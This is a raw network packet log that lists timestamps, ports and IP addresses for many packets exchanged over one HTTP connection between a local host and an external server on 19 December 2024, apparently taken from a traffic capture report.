Dec 19, 2024 16:10:31.340972900 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.341152906 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.341557980 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.341656923 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.341784954 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.341823101 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.341876030 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.341968060 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.342775106 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.342818022 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.342864990 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.343787909 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.343836069 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.344208956 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.344265938 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.344757080 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.344814062 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.344902992 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.344944000 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.345776081 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.345818043 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.345983028 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.346025944 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.346944094 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.347009897 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.347040892 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.347043037 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.347877026 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.347924948 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.347948074 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.348021030 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.348716974 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.348773956 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.348793983 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.348835945 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.350297928 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.350394964 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.350440025 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.351725101 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.351744890 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.351758003 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.351787090 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.351818085 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.351866007 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.352142096 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.353070974 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.353117943 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.353197098 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.353266954 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.355545998 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.355622053 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.355671883 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.355684042 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.355721951 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.355897903 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.355911016 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.355925083 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.355940104 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.355957031 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.355977058 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.356549978 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.356594086 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.356645107 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.356734037 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.357554913 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.357599020 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.357932091 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.357990026 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.358630896 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.358681917 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.358731985 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.358827114 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.359487057 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.359544039 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.359826088 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.359867096 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.360491037 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.360527039 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.360555887 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.360594034 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.361541986 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.361582041 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.361589909 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.361624956 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.362433910 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.362489939 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.362572908 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.362613916 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.363363981 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.363408089 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.363509893 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.363682985 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.364285946 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.364342928 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.364363909 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.364403963 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.365412951 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.365473032 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.365475893 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.365516901 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.366322041 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.366481066 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.366507053 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.366627932 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.367495060 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.367532969 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.367574930 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.367587090 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.368292093 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.368341923 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.368387938 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.369226933 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.369307041 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.369335890 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.369591951 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.370233059 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.370290041 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.370292902 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.370497942 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.371221066 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.371264935 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.371298075 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.371505976 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.372217894 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.372273922 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.372355938 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.372395992 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.373158932 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.373210907 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.373398066 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.373483896 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.374138117 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.374233007 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.374269009 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.374308109 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.375207901 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.375319958 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.375588894 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.375637054 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.376101017 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.376146078 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.376207113 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.376250982 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.377110958 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.377151012 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.377197027 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.378104925 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.378160954 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.378251076 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.378300905 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.379053116 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.379101038 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.379282951 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.379327059 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.380019903 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.380069971 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.380109072 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.380266905 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.381040096 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.381102085 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.381134987 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.381198883 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.382016897 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.382086039 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.382102966 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.382139921 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.383008957 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.383055925 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.383065939 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.383105993 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.383934975 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.383985996 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.384006023 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.384114027 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.384979963 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.385026932 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.385076046 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.385334969 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.385914087 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.385932922 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.385982990 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.386868000 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.386919022 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.386944056 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.386996984 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.387900114 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.387947083 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.387986898 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.388128996 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.388998985 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.389040947 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.389168024 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.389327049 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.389961004 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.390017986 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.390053988 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.390157938 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.531395912 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.531440973 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.531471014 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.531501055 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.531677961 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.531725883 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.531728983 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.531763077 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.532455921 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.532560110 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.532583952 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.532624960 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.533348083 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.533396959 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.533497095 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.533576965 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.533854961 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.533900976 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.533931971 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.533972979 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.534878969 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.534926891 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.535017014 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.535094976 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.535900116 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.535948038 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.535979033 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.536020041 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.536817074 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.536864042 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.536941051 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.537005901 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.537815094 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.537858963 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.537916899 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.538068056 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.538768053 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.538810968 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.538949966 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.538991928 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.539758921 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.539808035 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.539845943 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.539974928 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.540771008 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.540815115 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.540946960 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.540987968 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.541754007 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.541822910 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.541835070 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.541888952 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.542679071 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.542767048 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.542814016 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.542851925 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.543698072 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.543740988 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.543828964 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.543878078 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.544650078 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.544775963 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.544819117 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.545618057 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.545665979 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.545720100 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.545945883 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.546602011 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.546721935 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.546744108 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.546765089 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.547627926 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.547669888 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.547696114 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.547743082 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.548640966 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.548681021 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.548743963 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.548782110 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.549599886 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.549635887 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.549683094 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.549721956 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.550566912 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.550585985 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.550614119 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.550626993 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.551543951 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.551585913 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.551621914 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.551661968 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.552505016 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.552567005 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.552644014 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.552683115 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.553453922 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.553494930 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.553575993 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.553617954 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.554440022 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.554485083 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.554517984 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.554634094 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.555433989 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.555468082 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.555489063 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.555561066 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.556477070 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.556545973 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.556633949 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.556677103 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.557450056 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.557491064 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.557565928 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.557657003 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.558372021 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.558413982 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.558486938 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.558649063 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.559365034 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.559417963 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.559449911 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.559449911 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.560328960 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.560385942 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.560447931 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.560447931 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.561359882 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.561427116 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.561456919 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.561470032 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.562298059 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.562344074 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.562524080 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.562565088 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.563333988 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.563375950 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.563420057 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.563463926 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.564250946 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.564340115 CET	80	49881	31.41.244.11	192.168.2.6
Dec 19, 2024 16:10:31.564383030 CET	49881	80	192.168.2.6	31.41.244.11
Dec 19, 2024 16:10:31.565216064 CET	80	49881	31.41.244.11	192.168.2.6
